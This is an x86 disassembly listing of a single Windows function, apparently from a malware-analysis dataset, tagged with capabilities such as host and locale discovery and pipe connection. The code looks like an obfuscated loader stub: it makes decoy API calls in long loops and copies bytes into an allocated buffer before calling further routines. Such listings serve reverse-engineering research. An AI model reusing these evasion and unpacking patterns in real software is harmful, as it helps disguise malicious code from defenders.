Function at 0x409e90
Capabilities:
Connect pipe
Get common file path
Get geographical location
Get hostname
Identify system language via api
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94c
mov eax, dword [0x448004]
xor eax, esp
mov dword [esp + 0x948], eax
mov edx, dword [0x2b6ee24]
push ebx
push esi
xor ebx, ebx
push edi
cmp edx, 0x7c
jne 0x409f45
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push ebx
lea ecx, [esp + 0x154]
push ecx
push ebx
push str.sileyigocohijovifesusutil
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapWalk]
cmp dword [0x2b6ee24], 0x2d
jne 0x409f20
push ebx
lea edx, [esp + 0x10]
push edx
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
call fcn.00401267
add esp, 4
lea eax, [esp + 0x10]
push eax
call section..text
mov edx, dword [0x2b6ee24]
mov ecx, dword [0x449cf0]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
cmp eax, 0x8450db
jne 0x409f62
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x409f76
mov dword [0x44aa00], edi
mov dword [0x44aa04], esi
inc eax
cmp eax, 0xb9fa618
jl 0x409f55
mov edi, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x2b6ee24], edx
xor esi, esi
lea esp, [esp]
cmp esi, 0x562d05
jne 0x409fa4
mov ecx, dword [0x449ce4]
mov dword [0x2b6ee28], ecx
cmp edx, 0x3c
jne 0x409fb2
push ebx
call edi
mov edx, dword [0x2b6ee24]
inc esi
cmp esi, 0x5f6c74
jl 0x409f90
cmp edx, 0x110a
jne 0x40a048
push ebx
mov dword [0x2b6ecf0], ebx
mov dword [0x2b6ecf4], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LockFile]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea edx, [esp + 0x10]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
call fcn.004010ee
push str.0__s__d__f
call fcn.0040123f
add esp, 0xc
push ebx
call fcn.0040112e
add esp, 4
push ebx
call fcn.0040112e
add esp, 4
push 0x447160
push 0x44a978
call fcn.0040106a
add esp, 8
push ebx
call fcn.00401500
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x2b6ee24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2b6eb4c], eax
cmp dword [0x2b6ee24], ebx
jbe 0x40a0be
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x40a080
mov ecx, dword [0x2b6ee28]
mov dword [esp + 0xc], ecx
mov eax, 0xa231
add dword [esp + 0xc], eax
mov edx, dword [esp + 0xc]
mov al, byte [edx + esi]
mov ecx, dword [0x2b6eb4c]
mov byte [ecx + esi], al
cmp dword [0x2b6ee24], 0x5ab
jne 0x40a0b5
push ebx
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x2b6ee24]
jb 0x40a080
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00409b70
call fcn.00409d90
add dword [0x2b6eb4c], 0
mov ebx, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
lea esp, [esp]
push 0
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x40a108
cmp ebx, 0xf5bed7
jne 0x40a111
inc esi
cmp esi, 0x1ece7a52
jl 0x40a0f0
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov esi, dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
mov edi, dword [sym.imp.KERNEL32.dll_HeapLock]
mov dword [esp + 0xc], 0x1519a5
jmp 0x40a130
cmp dword [0x2b6ee24], 0xcc1
jne 0x40a13e
call ebx
cmp dword [0x2b6ee24], 0x3dc
mov dword [0x2b6ecec], 0x8e46a6f0
jne 0x40a162
push 0
push 0
push 0
push 0
call esi
push 0
call edi
dec dword [esp + 0xc]
jne 0x40a130
mov ecx, dword [esp + 0x954]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040105b
mov esp, ebp
pop ebp
ret